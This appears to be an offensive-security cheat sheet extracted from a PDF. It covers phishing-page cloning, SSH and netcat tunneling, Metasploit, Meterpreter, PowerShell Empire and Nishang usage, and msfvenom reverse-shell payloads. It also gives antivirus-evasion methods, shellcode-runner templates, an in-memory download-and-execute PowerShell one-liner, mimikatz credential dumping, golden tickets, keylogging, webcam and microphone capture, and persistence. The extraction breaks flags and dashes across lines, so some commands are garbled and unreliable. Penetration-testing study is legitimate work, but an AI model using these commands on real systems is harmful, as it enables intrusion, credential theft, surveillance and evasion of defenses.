https://www.facebook.com/login.php :clone fb, listens on port 80

alternatively you could do

cd ./set

python

–

m SimpleHTTPServe :starts server to serve payloads

Port Forwarding / Proxies / Tunneling

MetaSploit Port Forwarding

use <first_exploit> :set exploit to use

set PAYLOAD windows/meterpreter/bind_tcp :set other variables too

exploit :assume we exploit

background :send to background

route add <2

_victim_subnet> <netmask> <sid> :add pivot route

use <second_exploit> :prepare exploit for 2

victim

set RHOST & PAYLOAD :set variables

exploit :pivots exploit through 1

meterpreter

Port Forwarding (bypass firewall port filters)

nano /etc/rinetd.conf :edit rinetd config to port forward

*add: <proxy_ip> <bindport> <target_ip> <target_port> i.e. 208.88.127.99 80

67.23.74.189 3389 :goes out on port 80, connect to RDP

/etc/init.d/rinetd restart :restart svc to take effect

*Then mstsc (RDP) to proxy ip, enter 208.88.127.99:80 in mstsc which actually forwards

to 67.23.74.189

Bypass Firewall with Local Netcat Relay (on target box)

mknod backpipe p :create backpipe

–

p <allowed_inbound_port> 0<backpipe | nc 127.0.0.1 22 1>backpipe :TO port 22

ssh user@ip

–

p <allowed_inbound_port> :now our backpipe will route to port 22

SSH Tunneling: Local Port Forwarding

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

ex: ssh w.x.y.z

–

p 53

–

L 8080:a.b.c.d:80 :ex where f/w only allows port 53

http://127.0.0.1:8080

SSH Tunneling: Remote Port Forwarding

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

ex: ssh a.b.c.d

–

p 53

–

R 3390:127.0.0.1:3389 :connect to target & forward to rdp

rdesktop 127.0.0.1:3390

SSH Tunnel & Proxy

ncat

–

lvp 443 :received shell from inside computer

C:>dir plink.exe :we have uploaded a plink.exe (ssh client)

C:>netstat

–

an |find

“

LISTEN

”

:look for listening ports

C:>plink

–

l root pass <proxy_ip> -R 3390:1270.0.01:3389

Attacker box:netstat

–

antp |grep LISTEN :look to listening ports

rdesktop 127.0.0.1:3390 :Routes across proxy server

Proxychain Example (Run any network tool through HTTP, SOCKS4, SOCKS5 proxy)

ssh

–

R 2222:127.0.0.1::22 root@208.68.234.100 :first create a reverse SSH shell

to attack machine

netstat

–

lntp :shows connection to target machine over p 2222

ssh

–

D 127.0.0.1:8080

–

p 2222 hax0r@127.0.0.1 :create dynamic application level

port forward on port 8080 on our attacking machine

netstat

–

lntp :show connection

proxychains nmap

–

-top-ports=20

–

Pn <ip> :run nmap through our proxy target

SSH Dynamic Forwarding & Proxy Chain

*Example: We have compromised public facing server w/ssh running

ssh

–

D 8080 root@admin.megacorpone.com :dynamic forward

netstat

–

antp |grep 8080 :shows tunnel on our attack machine

nano /etc/proxychains.conf :add

“

socks4 127.0.0.1 8080

”

proxychains nmap

–

p 3389

–

Pn 172.16.40.18-22

–

open :do a TCP Connect Scan on the

on-routable ips via our compromised ssh server

proxychains rdesktop 172.16.40.20 :RDP to non-routable ip via compromised ssh svr

HTTP Tunneling (possibly bypass stateful inspection f/w)

–

vvn <ip> <port>

Traffic Encapsulation (possibly bypass deep packet inspection)

http_tunnel

stunnel

Metasploit

Basic Commands

/etc/init.d/postgresql start :MSF service required

/etc/init.d/metasploit start :MSF service required

update-rc.d postgresql enable :auto boot postgresql svc

update-rc.d metasploit enable :auto boot metasploit svc

msfconsole :starts metasploit-framework

armitage :3rd party GUI to MSF

help :help

show exploits :

show auxiliary :various tasks, info gather, scan, etc

show payloads :

show options :

info :

setg RHOSTS <ip>; setg THREADS 10 :setg sets global variables

back :return from auxiliary module

exploit

–

j :run exploit in background

jobs :show running jobs

sessions

–

l :show list of sessions

sessions

–

i <#> :interact with session

sessions

–

K :kill all sessions

background :send session to background

Cntrl+Z :exit session and go back to msfconsole

Meterpreter Commands

help :summary of commands

exit :or quit works too

? :meterpreter full commands

migrate :migrate to stable process such as lsass

sysinfo :system name & OS running on

shutdown & reboot :system running on

reg :read or write to memory

cd; lcd; pwd; ls; cat; mkdir; rmdir :basic file system commands

cat :display content files

download/upload :move file to/from machine

getpid; getuid; ps; kill; execute :common process commands

getprivs :pull as many additional privs as possbl

migrate :migrate meterpreter to a stabler proc

ipconfig; route :networking commands

portfwd add

–

l 1234

–

p 4444

–

r <SecondTarget> :set up port forward; first target=proxy

screenshot

–

p <file.jpg> :take a screenshot of the victim

idletime :time GUI has been idle

uictl <enable/disable> <keyboard/mouse> :don

’

t do during pen tests

webcam_list; webcam_snap :webcam options

record_mic

–

d # :record microphone # of seconds

keyscan_start; keyscan dump; keyscan_stop :keystroke logger

use priv :use the ext_server_priv module

getsystem

–

t 0 :priv escalation 0 tries all

–

priv mod

hashdump :dump hashes from SAM

–

priv mod

run hashdump :pull hashes from registry

timestomp :modify date/times

–

priv mod

MetaSploit Database Services

hosts :display info about discovered hosts

hosts

–

c address,os_flavor :search for certain properties of hosts

dbnmap 192.168.31.200-254 --top-ports 20 :scan hosts into MSF db w/nmap

services

–

p 443 :search MSF for machines w/ports open

db_export :dump contents of database to flat file

creds :creds collected

loot :post mods-creds from browser, ssh key..

Webdav Vulnerabilities (often poorly configured and easy targets)

use auxiliary/scanner/http/webdav_scanner :sets the webdav scanner

show options :parameters required to run this mod

run :run the module

SNMP Enumeration

search snmp :list exploits & modules

use auxiliary/scanner/snmp/snmp_enum :select snmp enumeration scan

info :read info about it

show options :parameters required to run this mod

set RHOSTS <ip_range>; set THREADS 10 :set parameters

run :run the module

SMB Version Scanner

search smb :list exploits & modules

use auxiliary/scanner/smb/smb_version :select smb version scan

info :read info about it

show options :parameters required to run this mod

set RHOSTS <ip_range>; set THREADS 10 : set parameters

run :run module

MetaSploit PSExec (Needs creds but one of the most commonly used exploits)

msfconsole :start it up

use exploit/windows/smb/psexec :select our psexec module

show options, set RHOST, set RPORT, set SMBUser, set SMBPass, set SMBDomain

exploit

*if psexec doesn

’

t work Veil-Catapult is useful is psexec fails

Pop3 Exploit Example

search pop3 :list pop3 exploits & modules

use exploit/windows/pop3/seattlelab_pass :Seattle Lab Mail 5.5 Example exploit

set PAYLOAD windows/ <tab> :show all windows payload options

set PAYLOAD windows/shell_reverse_tcp :select reverse shell

show options :show parameters needing to be added

set RHOST <remote_ip>; set LHOST <attacker_ip> :set parameters

set LPORT 443

exploit

Meterpreter Reverse_TCP Payload (favorite & most commonly used)

use exploit/windows/pop3/seattlelab_pass :Seattle Lab Mail 5.5 Example exploit

set PAYLOAD windows/met <tab> :show all windows meterpreter payloads

set PAYLOAD windows/meterpreter/reverse_tcp :set the meterpreter payload for windows

show options :show parameters needing to be added

exploit

help :show options once you get shell

sysinfo :queries basic parameters of computer

getuid :permissions of session on machine

–

f *pass*.txt :search file system for passwords file

upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec :upload files to target

download c:\\Windows\\system32\\calc.exe /tmp/calc.exe :download file from target

shell :start cmd prompt on victim machine;if

our shell dies we can simply spawn another sessions

ftp 127.0.0.1

exit

–

y :shut down Meterpreter session

Meterpreter Reverse_HTTPS Payload (Allow to bypass most deep packet inspection filters)

use windows/meterpreter/reverse_https :select reverse_https

info :exploit info

use windows/meterpreter/reverse_tcp_allports :Attempts to connect back on all ports

–

handy when you

’

re not sure what egress firewall ports are in place

Add Exploits to MetaSploit

mkdir

–

p ~/.msf4/modules/exploits/windows/misc :make new directory

cd ~/.ms4/modules/exploits/windows/misc :enter dir

cp /usr/share/metasploit-framework/modules/exploits/windows/pop3/seattlelab_pass.rb

./vulnserver.rb :copy over an exploit to mod

nano vulnserver.rb :edit exploit with our own

*Change payload space (in our case 800), Target Description, Ret (JMP ESP Address),

Offset, default RPORT, modify original exploit with our shell code

search vulnserver :search for exploit in metasploit

use exploit/windows/misc/vulnserver :set our new exploit

set PAYLOAD windows/meterpreter/reverse_tcp :payload

set LHOST <ip>; set LPORT 443;set RHOST <ip> :set parameters

Resource Files (Automating Exploitation)

*Usually keep under /opt/metasploit/msf3/

echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc

echo set RHOST 192.168.1.155 >> autoexploit.rc

echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc

echo set LHOST 192.168.1.101 >> autoexploit.rc

echo exploit >> autoexploit.rc

msfconsole

resource autoexploit.rc

MSF Multi/Handler (Accept various incoming payloads)

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_https

show options

set LHOST 192.168.0.5

set LPORT 443

exploit

Post Exploitation

search post

…

exploit :establish meterpreter session

sysinfo

background :background session

use exploit/windows/local/service_permissions :we want to elevate permissions

show options

set SESSION 2 :set session 2

exploit

sessions

–

i 2 :enter into session

MetaSploit Port Forwarding

use <first_exploit> :set exploit to use

set PAYLOAD windows/meterpreter/bind_tcp :set other variables too

exploit :assume we exploit

background :send to background

route add <2

_victim_subnet> <netmask> <sid> :add pivot route

use <second_exploit> :prepare exploit for 2

victim

set RHOST & PAYLOAD :set variables

exploit :pivots exploit through 1

meterpreter

PowerShell Empire

About PowerShell Empire

https://www.powershellempire.com

A PowerShell framework for pen testing from MimiKatz to token manipulation, lateral

movement, etc.

Troubleshooting PowerShell in General

Set-ExecutionPolicy Unrestricted

Enable-PSRemoting

netsh advfirewall set allprofiles state off

Invoke-PSRemoting (within PS Empire)

Usemodule lateral_movement/invoke_psremoting

Execute

Back

Remotely enable PSRemoting and Unrestricted PowerShell Execution using PsExec and

PSSession, then run PSRecon

Option 1 -- WMI:

PS C:\> wmic /node:"10.10.10.10" process call create "powershell -noprofile -

command Enable-PsRemoting -Force" -Credential Get-Credential

Option 2 - PsExec:

PS C:\> PsExec.exe \\10.10.10.10 -u [admin account name] -p [admin account

password] -h -d powershell.exe "Enable-PSRemoting -Force"

Next...

PS C:\> Test-WSMan 10.10.10.10

PS C:\> Enter-PSSession 10.10.10.10

[10.10.10.10]: PS C:\> Set-ExecutionPolicy Unrestricted -Force

Setup

./setup/install.sh :first setup script

./setup/setup_database.py :second setup script

./empire :starts PS Empire

Listener

help :man page

listeners :listener mgmnt menu

list :active listeners

info :current set listener options

set Host http://ip:port :

./setup/cert.sh :generate self signed cert for https

Execute :start listener

Stager

usestager <tab> :list avail stagers

set/unset/info <stager> :

generate :generate output code

launcher <listener ID/name> :generate launcher for specific listnr

Agents

agents :jump to agents menu

kill all :kill all active agents

interact <agent_name> :

info/help :once interacted

cd/upload/download/rename <new_name> :once interacted

exit :

Modules

usemodule <tab> :see available modules

searchmodule privesc :search module names/descriptions

usemodule situational_awareness/network/sharefinder

info :

set <option> :like set Domain test.local

set Agent <tab> :setting the agent option

execute :execute module

back :return to agent

’

s menu

Import Script

scriptimport ./path/ :bring your own

Credentials

mimikatz :run invoke-Mimikatz w/sekurlsa:logonpasswords

credenitals/mimikatz/* :the rest of the mimikatz modules

creds :store and operate as golden ticket or silver

creds add domain <user> <password> :manually add

creds remove all :drop all creds

creds export :export csv

creds krbtgt/plaintext/hash/searcTearm :filter creds in db by search term

creds plaintext :display all plaintext passwords

certs :export all current certificates

command :execute mimikatz command

lsadump :execute an lsadump (useful domain controllers)

trust_keys :extract current domain trust keys (dcs)

Golden/Silver Ticket Example

*Golden tickets are forged TGTs for a particular domain constructed using a domain

’

SID and krbtgt has from a DC. Silver tickets are forged for a given service on a

particular server.

usemodule credentials/mimikatz/golden_ticket

creds

set CredID 1

set user Administrator

execute

User: <user>

hostname: name.domain / S-1-5-21

…

Kerberos::golden /domain:<domain> /user:<user> /sid:<sid> /krbtgt:<krbtgt> /ptt

cifs :command to allow access to files on server

host :allows you to execute schtasks or WMI

creds

set CredID 2

execute

User: <user>

hostname: name.domain / S-1-5-21

…

kerberos::golden /domain:<domain> /user:Administrator /service:cifs /sid:<SID>

/rc4:<rc4> /target:<target_host> /ptt

credentials/mimikatz/purge :purge tickets

Enumeration (Situational Awareness)

situational_awareness/host/dnsserver :module to enumerate DNS servers used by host

situational_awareness/host/computerdetails :useful info about host

situational_awareness/host/winenum :host enumeration without needing local admin

situational/awareness/network/arpscan :ipv4 arp scan

situational/awareness/network/reverse_dns :reverse-grind IPs to determine hostname

situational/awareness/network/portscan :nmap style port scan

situational/awareness/network/netview :flexible query hosts from given domain

situational/awareness/network/userhunter :noisy enumeration

situational/awareness/network/stealth_userhunter :not as noisy enum

situational/awareness/network/sharefinder :enumerate machines and shares

-set

CheckShareAccess/get_computer/get_domaincontroller/get_user/get_exploitable_systems/get

_localgroup/map_domaintrusts

Privilege Escalation

UAC (Vista-)

privesc/bypassuac :module to bypass UAC

agents :list agents

interact <agent> :

bypassuac test :bypass UAC

agents :see the new agent available

UAC (Win7+)

list :list agents

interact <agent> :

usemodule privesc/bypassuac_wscript :set Listener test

execute

agents : look for the new agent available

Privilege Escalation

/privesc/powerup/* :Escalation module

privesc/powerup/allchecks

privesc/gpp :08 Windows Group Policy

Get-GPPPassword :automatically retrieve and decrypt

Keylogging

usemodule collection/keylogger :set keylogger

jobs :when runs continuous

jobs kill <job_id> :kill a background job

Lateral Movement

Pass the Hash

dir \\computer.domain\C$ :example trying to C$ but fails

creds :list creds

pth 1 :pass the hash with credID 1

sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<pass from creds> :note PID

steal_token <pid> :steal token from PID

dir \\computer.domain\C$ :should work now

Invoke WMI

Install Empire Agents

usemodule lateral_movement/invoke_wmi :from agent menu

set Listener NAME :

set ComputerName <target_name> :

execute

Set debugger for specified TargetBinary with remote execution

usemodule lateral_movement/invoke_wmi_debugger

set ComputerName <computer_name>

execute

Invoke-PsExec (not advised due to large footprint but still times useful)

usemodule susemodule situational_awareness/network/find_localadmin_access

execute

back

usemodule lateral_movement/invoke_psexec

set ComputerName <name>

set Listener test

execute

agents :look for new agent

Invoke-PSRemoting

Usemodule lateral_movement/invoke_psremoting

Execute

Back

Persistence

PowerBreach (memory backdoor)

persistence/powerbreach/deaduser :check if account exists

persistence/powerbreach/eventlog :queries eventlog for trigger

persistence/powerbreach/resolver :resolves hostname & trigger IP

persistence/userland/* (Reboot-persistance)

persistence/userland/registry :sets registry value

persistence/userland/schtask :scheduled task

Elevated Persistence

persistence/elevated/registry :sets reg value

persistence/elevated/schtask :scheduled task

persistence/elevated/wmi :permanent WMI subscription

Misc

persistence/misc/add_sid_history :create shadow domain admin on DC

persistence/misc/skeleton_key :adds on DC

persistence/misc/memssp :Mimikatz mod log out authevents

persistence/misc/disable_machine/acct_change :disable changing passwd

-but first mimikatz/credentials/logonpasswords; cleanup option also available

MSF Integration

Empire as a Payload

listeners :show listeners

usestager dll test :

set Arch x86

execute

in metasploit

user exploit/multi/handler

set payload windows/dllinject/reverse_http

set LHOST <ip>

set LPORT <port>

set DLL /tmp/launcher.dll

run

Foreign MSF Listeners

set Type meter :to use a meterpreter listener

set Name meterpreter

info :about meterpreter listener

execute

list

Misc

Process Injection

psinject <listener> <pid>

execute

list

PowerShell: Nishang

About Nishang

https://github.com/samratashok/nishang

Nishang is a framework and collection of scripts and payloads which enables usage of

PowerShell for offensive security, penetration testing and red teaming.

Antivirus

Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target

are meant to be used in memory which is very easy to do with PowerShell. Two basic

methods to execute PowerShell scripts in memory:

Method 1. Use the in-memory dowload and execute: Use below command to execute a

PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and

the function exported by it. All the scripts in Nishang export a function with same

name in the current PowerShell session.

powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-

PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in

Nishang export a function with same name in the current PowerShell session. Therefore,

make sure the function call is made in the script itself while using encodedcommand

parameter from a non-PowerShell shell. For above example, add a function call (without

quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".

Encode the scrript using Invoke-Encode from Nishang:

PS C:\nishang> . \nishang\Utility\Invoke-Encode

PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -

OutCommand

Encoded data written to .\encoded.txt

Encoded command written to .\encodedcommand.txt

From above, use the encoded script from encodedcommand.txt and run it on a target where

commands could be executed (a remote shell, meterpreter native shell, a web shell

etc.). Use it like below:

C:\Users\target> powershell -e [encodedscript]

If the scripts still get detected changing the function and parameter names and

removing the help content will help.

In case Windows 10's AMSI is still blocking script execution, see this blog:

http://www.labofapenetrationtester.com/2016/09/amsi.html

Antivirus

Import-Module C:\nishang\nishang.psm1

:use Nishang a a module

Get-Command -Module nishang :list and use all functions

available

. .\Get-Information.ps1 :use individual scripts

Add-Exfiltration -ScriptPath :add exfiltration & pass to script

Payload Generation/AV Bypass

Exploit Sources

https://www.exploit-db.com :Exploit Database

http://www.securityfocus.com :Security Focus

Common Packers: VMProtect, UPX, THemida, PELock, dotBundle, .netshirnk, Smart Packer

Pro

IExpress (or Shelter)

–

embed exe in another exe; Resource Hacker

–

make package look

more legit

Find Exploits in Kali

searchsploit slmail; locate 643.c :Exploit db archive search; locate

i586-mingw32msvc-gcc slmail-win-fixed.c

–

lws2_32

–

o s.exe :cross windows compile

gcc

–

o mempodipper exploit.c;./mempodipper :compile exploit-alternate way

wine s.exe <ip>

Veil-Evasion (more success against AV Evasion than msfvenom)

Veil-Evasion.py :start

list :list diff payloads it can generate

auxiliary/pyinstaller wrapper :convert to WAR(Java), AV Evasion method

auxiliary/pyinstaller_wrapper :convert to exe, AV Evasion method

info powershell/meterpreter/https :comparable to show options

clean :clean previous payloads/configs

use powershell/meterpreter/https :select payload

options :show options once payload selected

set LHOST <ip> :same as in metasploit

generate :final command to generate payload

exit :exit Veil

msfconsole :start metasploit

resource /usr/share/veil-output/handlers/file.rc:import veil-evasion file to metasploit

msfvenom (Payload Generator)

–

Reverse HTTPS allows you to traverse deep packet inspection & encrypted traffic

msfvenom

–

p windows/meterpreter/reverse_https LHOST=192.168.10.5 LPORT=443

–

f exe

–

met_https_reverse.exe

MetaSploit PowerShell Reverse Shell (Need to run code on client box)

msfconsole

use exploit/multi/script/web_delivery

show targets

set target 2

set payload /windows/meterpreter/reverse_https

set LPORT 53 :attack port

set SSL true

set LHOST <ip> :LHOST is attack machine

exploit :run code from user

msfvenom (Payload Generator)

msfvenom

–

l :

msfvenom

–

l payloads :autogenerate over 275 payloads

msfvenom

–

p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f c

–

x86/shikata_ga_nai

–

“

\x00\x0a\x0d

”

:-e encodes, -b bad chars, -f c = C code

msfvenom

–

p windows/meterpreter/reverse_https LHOST=<ip> LPORT=443

–

f exe --platform

windows --a x86 > /var/www/reverse_met_https :create reverse https payload for 32 bit

Windows and output under the web directory

msfconsole (separate tab) :start metasploit to set up listener

use exploit/multi/handler :

set PAYLOAD windows/meterpreter/reverse_https :we use this for a reverse listener

show options :show parameters

set LHOST <ip>; set LPORT 443 :set parameters

*wait for executable to trigger payload on target, then greeted with meterpretr session

Msfvenom

–

p windows/shell_reverse_tcp LHOST=192.168.10.5 LPORT=4444

–

f exe

–

shell_reverse.exe :another example of creating exe

Msfvenom Inject Payload into existing PE executable

–

Reduces chances of AV detection

msfvenom

–

p windows/shell_reverse_tcp LHOST=192.168.10.5 LPORT=4444

–

f exe

–

x86/shikata_ga_nai

–

I 9

–

x /usr/share/windows-binaries/plink.exe

–

shell_reverse_msf_encoded_embedded.exe

Shellter (AV detection; Shellcode Inject into native Windows apps)

https://www.shellterproject.com :shellcode injection tool

find 32 bit standalone legit exes

Try to scan using a multi-AV scanner (make sure no false positives)

If notification that exe is packed use a different one

If you are not sure about how to use Shellter, and what each feature does, then use the

Auto Mode

If you are just interested in bypassing the AV and execute your payload, hence not

looking at the Stealth Mode feature, then various uninstallers dropped by installed

programs might be what you need

PoshC2 (PowerShell Pen Testing Framework)

https://github.com/nettitude/PoshC2

powershell -exec bypass -c "IEX (New-Object

System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/nettitude/PoshC

2/master/C2-Installer.ps1')" :install

Compile Exploits

gcc

wget -0 exploit.c http://www.exploit-db.com/download/18411:dl exploit

gcc

–

o mempodipper exploit.c :compile exploit

./mempodipper :run compiled exploit

mingw32

apt-get install mingw32 :install mingw32

i586-mingw32msvc-gcc slmail-win-fixed.c

–

lws2_32

–

o s.exe:mingw32 example

wine s.exe <ip> :execute compiled example

pyinstaller :install PyWin32 on Win to compile

python pyinstaller.py

–

onefile ms11-080.py :compile python to executable

Compile Exploits w/MetaSploit OR MsfVenom to Avoid AV

Create payload, convert to python, convert to exe

Article by Mark Baggett

Create Payload w/MetaSploit

Metasploit has templates in the data/templates/src directory for DLLs, EXEs, and

Windows Services. Start with them and modify them only as required to avoid your

target's defenses. You can set the payload[SCSIZE] array to any shell code that meets

your needs and compile it. There are plenty of options out there for shell code. You

can get several examples of shell code from exploit-db and many of them do not trigger

antivirus software. For example:

$ cat data/templates/src/pe/exe/template.c

#include <stdio.h>

#define SCSIZE 4096

char payload[SCSIZE] = "PAYLOAD:";

char comment[512] = "";

int main(int argc, char **argv) {

(*(void (*)()) payload)();

return(0);

}

ALTERNATION METHOD using Msfpayload

./msfpayload windows/shell_bind_tcp C

Python template that does same as C Template provided w/Metasploit

from ctypes import *

shellcode = '<-ascii shell code here ex: \x90\x90\x90->'

memorywithshell = create_string_buffer(shellcode, len(shellcode))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

shell()

Use MetaSploit payload as ShellCode: Turn C source into python compatible string by

deleting double quotes and new lines:

./msfpayload windows/shell_bind_tcp C | tr -d '"' | tr -d '\n'

If you generate a multi-stage payload, just grab the string for stage one. Example:

./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 C | tr -d '"' | tr -d '\n'

| more

Then grab the string produced for STAGE1 and plug it into my template as follows:

from ctypes import *

shellcode = '\xfc\xe8\x89\x00\x00\x00\... \x75\xec\xc3'

memorywithshell = create_string_buffer(shellcode, len(shellcode))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

shell()

Next Compile to Executable

python configure.py

$ python makespec.py --onefile --noconsole shell_template.py

$ python build.py shell_template\shell_template.spec

Once program is run it connects back where stage2 is delivered

msf > use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1

msf exploit(handler) > exploit

Post Exploitation

Psexec Remote Commands on Windows (SysInternals)

*During pen tests using this to spread minimizes crashing target chances

net use \\ip /u:admin :set up SMB session as admin user

psexec \\ip ipconfig :able to execute remote commands

psexec \\ip cmd.exe :remote shell

Psexec in MetaSploit (One of most useful modules)

*Cleans up after itself unlike SysInternals psexec

use exploit/windows/smb/psexec :

set PAYLOAD <payload>; set RHOST <ip> :set normal variables

set SMBUser <admin>; set SMBPass <pass/hash> :need admin creds

Scheduling a Job

–

Runas Workaround in Bash Shell (Without Terminal Access)

net use \\ip <password> /u:<admin> :establish SMB session

sc \\ip query schedule :verify schedule svc running

sc \\ip start schedule :ensure it is running

net time \\ip :check the time on the box

at \\ip <HH:MM> <A|P> <command> :schedule task, at deprecated some vers

schtasks /create /tn <taskname> /s <ip> /u <user> /p <passwd> /sc <frequency> /st

<starttime> /sd <startdate> /tr <cmd> :schtasks or at to schedule cmds

at \\ip :verify your job scheduled to run

schtasks /query /s <ip> :verify your job scheduled to run

*meterpreter script schtaskabuse does same

Scheduling an Executable to Run

–

Runas Workaround in Bash Shell (Without Terminal Access)

net use \\ip <password> /u:<admin> :establish SMB session w/admin

sc \\ip create <svcname> binpath=<cmd> :

sc \\ip start <svcname> :start the service after creating

*but service only lasts 30 seconds before Windows kills it without receiving call

sc \\ip create <svcname> binpath=

“

cmd.exe /k <command>

”

:invoke cmd because 30s limit

*OR use InGuardian ServifyThis to wrap exe that makes the calls

Use WMIC to Connect Remotely

wmic /node:<ip> /node:@file.txt process call create <command>

:not specifying user can pth

wmic /node:<ip> /node:@file.txt /user:<admin> /password:<passwd> process call create

<command> :specify a user/pass

wmic /node:<ip> process list brief :list remote processes

wmic /node:<ip> process where processid="<pid>" delete:del specific remote process

Powershell Command to Download File

(New-Object System.Net.WebClient) .DownloadFile("http:/ip/nc.exe","c:\nc.exe")

BabaDook (Persistence through PowerShell across Share Drives)

https://github.com/jseidl/Babadook :download

Iodine (Hide/Tunnel traffic DNS servers)

https://github.com/yarrick/iodine

Better than Iodine, *true* routable tunnel via DNS, NIDS detection poor

DNScat2 (Hide/Tunnel traffic DNS servers)

http://tadek.pietraszek.org/projects/DNScat/

Requires a bit of setup but DNS traffic is the most utilized even more than HTTP

traffic.

SoftEther VPN (Tunnel traffic through ICMP/DNS)

https://www.softether.org/1-features/1._Ultimate_Powerful_VPN_Connectivity

Loki (Tunnel traffic through ICMP)

Older many signatures created to detect Loki traffic

Linux Essentials

Man Pages

Man7.org :man pages made easy

Linux Search

grep :search

grep -rnwI '/path/to/somewhere/' -e 'pattern' :search for files contains specific text

updatedb :must run before using locate

locate

–

i <term> :locate files; -i = case insensitive

which sbd :searches dirs in $PATH env

find / -name sbd* :search for file names starting w/sbd

find / -name sbd* -exec file {} \; :exe all sbd* files found

find / -iname

‘

*password*

’

:recursive, iname=case insensitive name

find

–

name <file> -type *.pdf :find PDF files

find / -user user1

–

size 33c 2>/dev/null :find a files owned by user 33 bytes,

:2>/dev/null cleans irrelevant results

strings data.txt | grep

“

”

:same as grep

–

A 1 = data.txt

strings -n [N]|grep

“

term

”

:search strings > than N chars(ASCII)

strings -e b|grep

“

term

”

:search strings with big endian encoding

strings -e l |grep

“

term

”

:search strings w little endian encoding

find / -type f -exec grep -H 'text-to-find-here' {} \; :search for text

find /home

–

name .bash_history :good place to find cmds; . means hidden

.sh_history, .zsh_history, .ksh_history :alternative shells to bash

find /home

–

name .bashrc :often used to config shell or load info

find /home

–

name .bash_profile :aslo important to look at

find /home

–

name .bash_history

–

type f

–

exec grep

–

‘

admin

’

{} \;

–

ls /tmp (or /var/tmp) :check tmp folder for leftover clues

/etc folder

–

cron jobs, shadow backups, etc

Search for passwords accidentally typed to shell

grep

–

A 1 passwd .bash_history OR find /home

–

name .bash_history | grep

–

A 1 passwd

find /home -name .bash_history -exec grep -A 1 passwd {} \; :passwds typed in shell

find . -name .bash_history -exec grep -A 1 '^passwd' {} \; :passwds typed in shell

Searching for backups

find . -depth -print | cpio -o > *.cpio :back up recursively from your location

cpio

–

vd < archive.cpio :extract the backup

cpio

–

t < archive.cpio :list the files of the cpio archive

cat backup | cpio

–

id /etc/fstab :same as below, extract one file

cpio

–

id /etc/fstab < archive.cpio :extract just fstab file from archive

cpio

–

to-stdout /etc/fstab < backup > fstab :try if permissions error above

cd /etc/cron.daily :check cronjobs for clue - dcrypt backup

tar

–

tvf file.tar :view TOC for tar archive (.tar)

tar -ztvf file.tar.gz :view TOC for tar archive (.tar.gz)

tar

–

zxvf file.tar.gz <file you want> :extract file from tar archive

Linux Accounts

useradd -d /home/fred fred :create user fred

userdel Charlie :delete user

passwd fred :change password for user fred

sudo or su - :elevated privileges

su <user> :change account to certain user

whoami :displays current user

id :details about current user

Linux File Commands

cd <dir> :move around file system

cd ~ :jump to current account home dir

pwd :present working directory

–

la /tmp (or /var/tmp) :dir/file details;-l details

–

a shows all

–

ld /tmp :show permissions on the

–

d dir /tmp

mkdir test :make a directory called test

–

a /source/. /dest/ :copy all files, atts, hidden, &symlinks

smbclient //<winIp>/c$ <passwd> -U <user> :connect to SMB (445)

gedit <file> :easy to use file editor

head /etc/passwd :shows start of file

tail

–

n 2 /etc/passwd :shows end of file

sort

–

u :sort unique lines

shred

–

u <file> :overwrite/delete file

touch

–

r <ref_file> <file> :matches ref_file timestamp

touch

–

t YYYYMMDDHHSS <file> :Set file timestamp

file <file> :file properties

–

rf <dir> :force deletion of directory

echo $PATH :view your path

which ls :see where in your PATH a cmd is found

zip

–

r <zipname.zip> \Directory\* :create zip

gzip file (bzip2 creates .tbz) :compress/rename file

gzip

–

d file.gz :Decompress file.gz

upx -9

–

o out.exe orig.exe :UPX packs orig.exe

tar cf file.tar files :Create .tar from files

tar xf file.tar :Extract .tar

tar czf file.tar.gz files :Create .tar.gz

tar xzf file.tar.gz :Extract .tar.gz

tar cjf file.tar.bz2 files :Create .tar.bz2

tar xjf file.tar.bz2 :Extract .tar.bz2

tar

–

xvjf backup.tbz :Decompress .tbz file

bzip2

–

dk filename.bz2 :Decompress .bz2 file

cat ./- :read a file named - (special char)

cat spaces\ in\ filename :read a file with spaces in name

Linux System Info

ps aux|less :running processes

bg :run in background

jobs :show programs running in background

fg 1 :move background job to foreground

nbtstat

–

A <ip> :get hostname for <ip>

id :current username

w :logged on users

who

–

a :user info

last

–

a :last users logged on

–

ef :process listing (top)

uname

–

a :disk usage (free)

mount :mounted file systems

getent passwd :show list of users

PATH=$PATH:/home/mypath :add to PATH variable

kill <pid> :kills process with <pid>

cat /etc/issue :show OS info

cat /etc/*release* :show OS version info

cat /proc/version :show kernel info

rpm

–

query

–

all :installed pkgs (Redhat)

rpm

–

ivh *.rpm :install rpm (-e=remove)

dpkg

–

get-selections :installed pkgs (Ubuntu)

dpkg

–

I *.deb :install DEB (-r=remove)

pkginfo :installed pkgs (Solaris)

which <tscsh/csh/ksh/bash> :show location of executable

chmod 750 <tcsh/csh/ksh> :disabled <shell>, force bash

shutdown -h now :shut down and halt system

reboot :reboot system

Linux Network Commands

gedit /etc/network/interfaces;service networking restart :set interface info

ifconfig :networking info

ping :if ping doesn

’

t work try traceroute -T

traceroute

–

T <ip> :-T uses TCP SYN with dst port 80

traceroute -6 :-6 = IPv6

nslookup <name/ip> :dns query

netstat

–

ant :TCP connection

–

anu=udp

netstat

–

tulpn :Connections with PIDs

netstat

–

antp|grep sshd :open ssh

lsof

–

i :established connections

